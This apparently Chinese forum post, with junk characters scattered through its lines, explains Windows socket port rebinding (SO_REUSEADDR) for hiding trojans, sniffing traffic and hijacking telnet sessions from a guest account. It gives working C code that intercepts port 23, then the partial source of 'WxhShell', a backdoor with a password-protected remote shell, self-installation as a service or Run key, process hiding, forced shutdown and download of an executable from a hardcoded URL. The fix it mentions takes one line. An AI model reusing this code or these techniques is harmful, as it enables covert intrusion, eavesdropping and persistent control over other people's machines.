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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,}2M'DSWa  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); afqLTWU S  
1 y$Bz?4  
  saddr.sin_family = AF_INET; 0t*JP  
bLUn>ch  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :O-Y67>&  
 :J`:Q3@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l}j5EWe  
%a<N[H3NV@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _}:9ic]e  
(=}U2GD*  
  这意味着什么?意味着可以进行如下的攻击: M\ vj&T{k  
j2}C  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5?kJ]:  
=>-:o:Cu{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (5]<t&M  
B_i@D?bTD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 '*MNRduE6  
..UmbJJ.u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  tu#VZAPW@  
sn '#]yM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +v2Fr}  
}_u1'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &, hhH_W  
rbS67--]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (s4w0z  
}BlVLf%C  
  #include u7ZSs-LuHw  
  #include KFCrJ )  
  #include oJK1~;:  
  #include    ogbLs)&+a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /@g D 8  
  int main() 6]^ShOX_Z  
  { L#Uk=  
  WORD wVersionRequested; ^8Tq0>n?  
  DWORD ret; n"N!76  
  WSADATA wsaData; r0379 _  
  BOOL val; oFB~)}f<v  
  SOCKADDR_IN saddr; h-+9Bv]  
  SOCKADDR_IN scaddr; 6QkdH7Qf=  
  int err; I7ZY9W(S  
  SOCKET s; A6v02WG_1T  
  SOCKET sc; Rx<m+=  
  int caddsize; 2Vas`/~u~  
  HANDLE mt; `*mctjSN  
  DWORD tid;   IeLG/ fB  
  wVersionRequested = MAKEWORD( 2, 2 ); "toyfZq@  
  err = WSAStartup( wVersionRequested, &wsaData ); Q#Q]xJH  
  if ( err != 0 ) { /5 B{szf  
  printf("error!WSAStartup failed!\n"); j$'L-kK+  
  return -1; zPEx;lO$  
  } !4\`g?  
  saddr.sin_family = AF_INET; Eq c&iS~  
   TCYjj:/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Y!c RzQ  
wkOo8@J\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6+u}'mSj8  
  saddr.sin_port = htons(23); ~KHGh29  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /k qW  
  { OJPx V~y  
  printf("error!socket failed!\n"); /) sA{q 4  
  return -1; qqA(Swe)T  
  } |s`j=<rNQI  
  val = TRUE; }u:@:}8K  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <^snS,06  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J@PwN^`  
  { ~CIA6&  
  printf("error!setsockopt failed!\n"); ) (unL`y  
  return -1; Tqz{{]%j~$  
  } 3/>T/To&2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !G =!^RA  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vM!lL6T:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o%XAw   
kW0|\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [* ,k  
  { ,*$L_itL  
  ret=GetLastError(); ?$i`K|  
  printf("error!bind failed!\n"); f4YcZyBGv  
  return -1; ,~u5SR  
  } F$<>JEdX  
  listen(s,2); l5_RG,O0A  
  while(1) ! 7A _UA8  
  { GjN/8>/  
  caddsize = sizeof(scaddr); 'Vq <;.A  
  //接受连接请求 Dg3S n|!f  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1;?n]L`T  
  if(sc!=INVALID_SOCKET) JX8Hn |  
  { Zz}Wg@&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); KI)jP((  
  if(mt==NULL) Oya:{d&=  
  { 9Jd{HI=  
  printf("Thread Creat Failed!\n"); nJ'FH['  
  break; \H|tc#::{  
  } -x)Oo`  
  } 4xF}rm  
  CloseHandle(mt); XzB3Xs?W2  
  } ;o?o92d  
  closesocket(s); ui80}%  
  WSACleanup(); JYnyo$m/  
  return 0; wA o6:)  
  }   qGi\*sc>x  
  DWORD WINAPI ClientThread(LPVOID lpParam) F8xu&Vk0:  
  { e8&7W3 m  
  SOCKET ss = (SOCKET)lpParam; bQ-n<Lx  
  SOCKET sc; `-g$ 0lm7  
  unsigned char buf[4096]; XPLm`Q|1#t  
  SOCKADDR_IN saddr; w>4( hGO  
  long num; ^ f[^.k$3d  
  DWORD val; XCT3:db  
  DWORD ret; %3yrX>Js  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~xJ ^YkyH  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   blUS6"kV}  
  saddr.sin_family = AF_INET; 3uL$+F  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5& _R+g  
  saddr.sin_port = htons(23); ddY-F }z~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \j4!dOGZ  
  { d*$x|B|V  
  printf("error!socket failed!\n"); @QDUz>_y  
  return -1; SC--jhDZ  
  }  USJ4Z  
  val = 100; 8l<~zIoO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;?Q0mXr  
  { v 8TNBsEL  
  ret = GetLastError(); v}=pxWhm  
  return -1; k>=wwPy  
  } >:OP+Vc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zVis"g`  
  { P]7s1kgaS  
  ret = GetLastError(); iV:\,<8d  
  return -1; AD >/#Ul  
  } 9hgIQl  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s>=$E~qq  
  { (`<B#D;  
  printf("error!socket connect failed!\n"); nv3TxG  
  closesocket(sc); !iAZEOkRR  
  closesocket(ss); ]UrlFiR  
  return -1; GS*_m4.Ry6  
  } b/4gs62{k  
  while(1) N6v*X+4JH  
  { y2PxC. -  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &zPM# Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 u1|v3/Q-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qc3?Aplj  
  num = recv(ss,buf,4096,0); W+.?J 60  
  if(num>0) PPh1y;D  
  send(sc,buf,num,0); !q8A!P4|'  
  else if(num==0) kdMB.~(K=  
  break; xOZvQ\%  
  num = recv(sc,buf,4096,0); .:/X~{  
  if(num>0)  HS|x  
  send(ss,buf,num,0); :I^4ILQCD  
  else if(num==0) M#yUdl7d  
  break; qJ$S3B  
  } xzRC %  
  closesocket(ss); 1?r$Rx<R  
  closesocket(sc); hP/uS%X   
  return 0 ; 4VzSqb  
  } ,88%eX|  
8g/r8u~  
/sVmQqVY  
========================================================== F|&mxsL  
M+4S>Sjw  
下边附上一个代码,,WXhSHELL mN#&NA  
K4^B~0~  
========================================================== :0Fwaw9PH"  
R~bLEo  
#include "stdafx.h" tOPk x(  
d%Ku 'Jy  
#include <stdio.h> obw:@i#  
#include <string.h> 'IER9%V$  
#include <windows.h> wDs#1`uTq  
#include <winsock2.h> #|lVQ@=  
#include <winsvc.h> w$Mb+b$  
#include <urlmon.h> &0mhO+g   
*gI9CVfQl  
#pragma comment (lib, "Ws2_32.lib") 6uFGq)4p@  
#pragma comment (lib, "urlmon.lib") ND5E`Va5R  
OL[_2m*;9p  
#define MAX_USER   100 // 最大客户端连接数 *tT5Zt/&Sr  
#define BUF_SOCK   200 // sock buffer St1>J.k_  
#define KEY_BUFF   255 // 输入 buffer 3lNw*M|")  
5?|PC.  
#define REBOOT     0   // 重启 $Vm J[EF1  
#define SHUTDOWN   1   // 关机 ~ K|o@LK  
%P]-wBJw  
#define DEF_PORT   5000 // 监听端口 QLTE`t5w3'  
ZP%Bu2xd  
#define REG_LEN     16   // 注册表键长度 NO)vk+   
#define SVC_LEN     80   // NT服务名长度 fGLOXbsA  
L G9#D  
// 从dll定义API R7By=Y!t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F~O! J@4]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lc0ZfC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dnTXx*I:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?rV c}  
7h/{F({r=  
// wxhshell配置信息 o=(>#iVM  
struct WSCFG { #D!3a%u0  
  int ws_port;         // 监听端口 fI0L\^b%  
  char ws_passstr[REG_LEN]; // 口令 gClDVO  
  int ws_autoins;       // 安装标记, 1=yes 0=no i@d@~M7/  
  char ws_regname[REG_LEN]; // 注册表键名 hO:X\:G  
  char ws_svcname[REG_LEN]; // 服务名 e3>k"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qsL6*(S(r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?)5M3 lV3k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iF]vIg#h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G,i%:my7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gM3gc;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LvS3c9|Aj  
=;xlmndT,  
}; FJ&zU<E  
("BFI  
// default Wxhshell configuration x]U (EX`t$  
struct WSCFG wscfg={DEF_PORT, **O4"+Xi8  
    "xuhuanlingzhe", H\!u5o&}`  
    1, cjO,#W0&f  
    "Wxhshell", &On0)G3Rc  
    "Wxhshell", P^LOrLmo8  
            "WxhShell Service", j|WaWnl=  
    "Wrsky Windows CmdShell Service", P6 G/J-  
    "Please Input Your Password: ", Qs{Qg<}  
  1, ]R{=|  
  "http://www.wrsky.com/wxhshell.exe", 2=NYBOE  
  "Wxhshell.exe" zR3Z(^]v  
    }; _mL9G5~r  
PX'I:B]x*  
// 消息定义模块 jW",'1h<n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L7%'Y}1e.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4%j&]PASa1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ig/716r|  
char *msg_ws_ext="\n\rExit."; Gb \ 7W  
char *msg_ws_end="\n\rQuit."; Sb[rSczS~  
char *msg_ws_boot="\n\rReboot..."; @;,O V&XYn  
char *msg_ws_poff="\n\rShutdown..."; jIc;jjAF  
char *msg_ws_down="\n\rSave to "; @]#+`pZ4A  
~K],hi^<P  
char *msg_ws_err="\n\rErr!"; S8vmXlD  
char *msg_ws_ok="\n\rOK!"; C12 7he  
l7J_s?!j  
char ExeFile[MAX_PATH]; T[q-$8U  
int nUser = 0; 2i(|?XJ^  
HANDLE handles[MAX_USER]; qc'tK6=jp  
int OsIsNt; 0I?3@Nz6  
a\m10Ih:  
SERVICE_STATUS       serviceStatus;  2 5ZGuM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <CmsnX  
.Um%6a-  
// 函数声明 W@$p'IBwm  
int Install(void); (\/HGxv  
int Uninstall(void); v|,Hd  
int DownloadFile(char *sURL, SOCKET wsh); c)6Y.[).  
int Boot(int flag); q%:Jmi>  
void HideProc(void); _@prv7e  
int GetOsVer(void); o>`/,-!  
int Wxhshell(SOCKET wsl); Sc~kO4  
void TalkWithClient(void *cs); ?s"v0cg+  
int CmdShell(SOCKET sock); EShakV  
int StartFromService(void); YJ16vb9  
int StartWxhshell(LPSTR lpCmdLine); ^]R0d3?>\  
Eq<#pX6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =OZ_\vO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C${TC+z  
r&3fSx9  
// 数据结构和表定义 t2Y~MyT/  
SERVICE_TABLE_ENTRY DispatchTable[] = |b3/63Ri-0  
{ usTCn3u  
{wscfg.ws_svcname, NTServiceMain}, V!<#E)-?<  
{NULL, NULL} l*:p==  
}; B=c^ma  
.RWBn~b#I  
// 自我安装 eu:_V+  
int Install(void) ;W*$<~_  
{ ( L6`_)  
  char svExeFile[MAX_PATH]; #*]= %-A  
  HKEY key; `A^} X  
  strcpy(svExeFile,ExeFile); TQ2Tt "  
8c|IGC  
// 如果是win9x系统,修改注册表设为自启动 \4p<;$'  
if(!OsIsNt) { G\NCEE'A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +Ae.>%}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); anwn!Eqk"  
  RegCloseKey(key); 7z,M`14  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XbOL/6V ^[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mk9 kGP%  
  RegCloseKey(key); x/S%NySG  
  return 0; 9,c>H6R7  
    } HYH!;  
  } )nk>*oE  
} NR[mzJv  
else { n|*V 8VaL  
E37@BfpO3  
// 如果是NT以上系统,安装为系统服务 &L?Dogo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &sRJ'oc  
if (schSCManager!=0) 5~X%*_[],  
{ d#tUG~jc  
  SC_HANDLE schService = CreateService M:SxAo-D2  
  ( 09?<K)_G  
  schSCManager, ?hu 9c  
  wscfg.ws_svcname, O&s6blD11  
  wscfg.ws_svcdisp, UiEB?X]-l'  
  SERVICE_ALL_ACCESS, IyuT=A~Ki  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F3'X  
  SERVICE_AUTO_START, 4>E2G:  
  SERVICE_ERROR_NORMAL, t;1NzI$^  
  svExeFile, C(P$,;6  
  NULL, ~<U3KB  
  NULL, Z7/dRc   
  NULL, {LeEnh-  
  NULL, m&%b;%,J  
  NULL \nyFN  
  ); bcs!4  
  if (schService!=0) ~z}au"k  
  { mC7Y *  
  CloseServiceHandle(schService); Wd}mC<rv1  
  CloseServiceHandle(schSCManager); )pLq^j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e`rY]X  
  strcat(svExeFile,wscfg.ws_svcname); RVsNr rZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yi?&^nX@9,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7a<qP=J  
  RegCloseKey(key); M5V1j(URE  
  return 0; !%X`c94  
    } .'1j5Y-l`N  
  } z Y|g#V-  
  CloseServiceHandle(schSCManager); "p{ '984r<  
} K?je(t^  
} {\&"I|dpe  
#c>MUC(?s:  
return 1; h<.[U $,  
} bSghf"aN  
[mPdT^h  
// 自我卸载 20qVzXi  
int Uninstall(void) ^-!HbbVv  
{ [VW;L l  
  HKEY key; zFr}$  
S\ZAcz4  
if(!OsIsNt) { NLl~/smMS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (r4VIlap  
  RegDeleteValue(key,wscfg.ws_regname); iL, XBoE  
  RegCloseKey(key); Fzs'@*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fc~w`~tv  
  RegDeleteValue(key,wscfg.ws_regname); 5uer [1A  
  RegCloseKey(key); }A7qIys$4  
  return 0; eLny-.i ,7  
  } 0Y 2^}u@5  
} z)>{O3  
} af(JoX*U  
else { e;5Lv9?C8  
)''wu\7A)'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %6'D!H?d  
if (schSCManager!=0) !f-o,RJ  
{ J#DcT@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HJR<d&l;p  
  if (schService!=0) zYdtQjv  
  { bl?%:qb.V  
  if(DeleteService(schService)!=0) { )^Pvm  
  CloseServiceHandle(schService); )<F\IM  
  CloseServiceHandle(schSCManager); }Xi#x*-D  
  return 0; 7y Te]O  
  } Xh"iP%  
  CloseServiceHandle(schService); Z D%_PgiT  
  } YnWl'{[ C  
  CloseServiceHandle(schSCManager); <WJ0St  
} gj,J3x4TK/  
} y UAn~!s  
ue"?S6  
return 1; ';, Bn9rv  
} {7>CA'>  
"D(8]EG=  
// 从指定url下载文件 -3t BN*0+  
int DownloadFile(char *sURL, SOCKET wsh) QCfpDE}  
{ `;CU[Ps?]  
  HRESULT hr; 7$W;4!BN*  
char seps[]= "/"; _ D9@<+MS*  
char *token; f<:U"E.  
char *file; KBR0p&MN  
char myURL[MAX_PATH]; s@LNQ|'kO  
char myFILE[MAX_PATH]; }@%ahRGx%9  
BQ&q<6Tk  
strcpy(myURL,sURL); V )k, 9=  
  token=strtok(myURL,seps); y32++b!  
  while(token!=NULL) MW~B[%/  
  { y!N)@y4  
    file=token; ai jGz<  
  token=strtok(NULL,seps); LIC~Kehi  
  } l\;mP.!  
Jx$#GUl#j  
GetCurrentDirectory(MAX_PATH,myFILE); |QOJ9~hxD  
strcat(myFILE, "\\"); E 'JC  
strcat(myFILE, file); qmeml_(W  
  send(wsh,myFILE,strlen(myFILE),0); ,Kf8T9z`  
send(wsh,"...",3,0); -wQ^oOJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J%:/<uCmZ  
  if(hr==S_OK) 4)+IO;  
return 0; %Rep6=K*$  
else p <=%  
return 1; !NLvo_[Y  
DsJn#>?Kh  
} yCCw<?  
NS4'IR=;E!  
// 系统电源模块 r`R~{;oT  
int Boot(int flag) G7A bhb,  
{ N@*wi"Q  
  HANDLE hToken; V<2fPDZ  
  TOKEN_PRIVILEGES tkp; w;@25= |  
/rxltF3  
  if(OsIsNt) { ZoON5P>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cia-OVX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^ ]qV8  
    tkp.PrivilegeCount = 1; W0MnGzZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $7n#\h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iSr`fQw#  
if(flag==REBOOT) { Ivt} o_b*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L> Oy7w)Y  
  return 0; gJ5wAK+?  
} bV$8 >[`  
else { 3$N %iE6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^jha:d  
  return 0; 9c^skNbS  
} ,3]?%t0xe  
  } D<bU~Gd,P  
  else { .D,?u"fk|  
if(flag==REBOOT) { hK39_A-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;eW'}&|LV  
  return 0; r*N~. tFo  
} i=1 }lk q  
else { f']sU/c=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ri<'-wi  
  return 0; ?D(FNd  
} L+L"$  
} `Ix s7{&jU  
#5-A&  
return 1; L)/6kt=  
} 3aO;@GNJ  
$35,\ZO>  
// win9x进程隐藏模块 VXkAFgO  
void HideProc(void) KIKq9*  
{ nEd M_JPv  
umm\r&]A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *"ykTqa  
  if ( hKernel != NULL ) L8:]`M Q0  
  { chO'Q+pw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hg&w=l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q)G!Y (g\  
    FreeLibrary(hKernel); 4ypRyO  
  } AJ\VY;m7F  
(L y%{ Y  
return; i<#h]o C}  
}  nOoKGT  
i$[,-4 v  
// 获取操作系统版本 MOP]\ypn  
int GetOsVer(void) $v:gBlj%"  
{ np-T&Pz2  
  OSVERSIONINFO winfo; K}PvrcO1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rT flk  
  GetVersionEx(&winfo); (F,(]71Z+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L2CW'Hd  
  return 1; Gg}5$||^C  
  else p;qRm} 0}  
  return 0; gH i~nEH  
} m3xz=9Ve  
D|TLTF"  
// 客户端句柄模块 wX)efLmyhY  
int Wxhshell(SOCKET wsl) $/[Gys3"  
{ zP :~O  
  SOCKET wsh; e{fZ}`=7y  
  struct sockaddr_in client; W>Mse[6`c  
  DWORD myID; \;-=ODC  
J4gI=@e  
  while(nUser<MAX_USER) d&aBs++T  
{ #D`S  
  int nSize=sizeof(client); S)"##-~`T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YKP=0 j3,  
  if(wsh==INVALID_SOCKET) return 1; |?x^8e<*  
7$+P|U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >oft :7p  
if(handles[nUser]==0) :%/\1$3P  
  closesocket(wsh); W il{FcHY  
else u}Ei_ O<z  
  nUser++; c8#T:HM|`  
  } n> MD\ZS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N@cMM1  
5mI?pfm  
  return 0; 6Cl+KcJH  
} Az9X#h.vf  
x*unye7  
// 关闭 socket Z$!C=  
void CloseIt(SOCKET wsh) @+?+6sS  
{ ?_VRfeztw  
closesocket(wsh); *he7BUO  
nUser--; #04{(G|~+E  
ExitThread(0); ,'FD}yw4v  
} $Q8P@L)[  
k(zs>kiP  
// 客户端请求句柄 GhqgRzX  
void TalkWithClient(void *cs) R(:  4s  
{ *I:mw8t  
J3H.%m!V  
  SOCKET wsh=(SOCKET)cs; 0SJ{@*  
  char pwd[SVC_LEN]; 7'_nc!ME  
  char cmd[KEY_BUFF]; Sdgb#?MR|  
char chr[1]; %S{o5txo  
int i,j; :~t<L%tYF  
UG6M9  
  while (nUser < MAX_USER) { so} l#  
 ;e&!  
if(wscfg.ws_passstr) { wX-RQ[2X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {V[Ha~b%*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;US83%*  
  //ZeroMemory(pwd,KEY_BUFF); dKU5;  
      i=0; cICHRp&&  
  while(i<SVC_LEN) { z8b _ _%Br  
+``>,O6  
  // 设置超时 d2ohW|  
  fd_set FdRead; &c20x+  
  struct timeval TimeOut;  "\`>2  
  FD_ZERO(&FdRead); LPq2+:JpS  
  FD_SET(wsh,&FdRead); DXKyRkn6e  
  TimeOut.tv_sec=8; Ip>^O/}$1  
  TimeOut.tv_usec=0; 9U]pH%.9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NeY"6!;k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;)gLjF/F7  
5+`=t07^et  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !loO%3_)  
  pwd=chr[0]; ]a)IMIh;  
  if(chr[0]==0xd || chr[0]==0xa) { = Q@6c   
  pwd=0; PM@XtL7J  
  break; j\! e9M  
  } f](I.lm:  
  i++; !0b%Jh  
    } ?hKm&B;d  
6%>/og\%  
  // 如果是非法用户,关闭 socket _~ v-:w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !2(.$}E  
} Cq gJ  
yP x\ltG3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2.]~*7   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P!5Z]+B#  
AQ-mE9>P  
while(1) { ^ b@!dS  
?F1wh2o q  
  ZeroMemory(cmd,KEY_BUFF); "s% 686Vz  
B jYOfu'~z  
      // 自动支持客户端 telnet标准   0X.TF  
  j=0; +hpSxdAz4  
  while(j<KEY_BUFF) { 0"TgLd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y7-*2"!  
  cmd[j]=chr[0]; 4*iHw+%mq  
  if(chr[0]==0xa || chr[0]==0xd) { 9-b 8`|s  
  cmd[j]=0; L4~ W/6A  
  break; $ cq!RgRn  
  } 7iP5T  
  j++; }0Y`|H\v  
    } NJ<N%hcjK  
`y'aH 'EEd  
  // 下载文件 ):S!Nl  
  if(strstr(cmd,"http://")) { 2pz4rc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $1~c_<DN  
  if(DownloadFile(cmd,wsh)) A hR0zg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~,T+JX  
  else Oohq9f#!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )qmFK .;%  
  } goB;EWz  
  else { gd K*"U  
{b2 aL7  
    switch(cmd[0]) { p(.N(c  
  )'`CC>Q  
  // 帮助 |!oXvXU  
  case '?': { lO[E[c G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q4) Ey  
    break; uNy!< u  
  } %w$ mSG  
  // 安装 ?;_H{/)m  
  case 'i': { <z',]hy  
    if(Install()) e^=NL>V6p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vffH  
    else "(<%Ua  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @O'I)(To  
    break; q4+Yv2e <r  
    } w?_`/oqd|  
  // 卸载 O MvT;Vgg  
  case 'r': { IYLZ +>  
    if(Uninstall()) T RDxT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l:)S 3  
    else zXjw nep  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AxEc^Cof  
    break; rEmwKZF'  
    } Si]X rub  
  // 显示 wxhshell 所在路径 gn^!"MN+g  
  case 'p': { $D}"k!H  
    char svExeFile[MAX_PATH]; G~(& 3  
    strcpy(svExeFile,"\n\r"); aV#h5s  
      strcat(svExeFile,ExeFile); _\UIc;3Gl  
        send(wsh,svExeFile,strlen(svExeFile),0); l77'Lne  
    break; r,0@~;zA  
    } 8A!'I<S1  
  // 重启 oK$ '9c5<  
  case 'b': { *y?[ <2"$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $C$ub&D ~"  
    if(Boot(REBOOT)) H~eGgm;p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |*ReqM|_C  
    else { 3[.3dy7,Z  
    closesocket(wsh); UG #X/%p  
    ExitThread(0); nSHNis  
    } \WX@PfL  
    break; T=>vh*J  
    } 6m@0;Ht  
  // 关机 Mb1wYh  
  case 'd': { WU7cF81$  
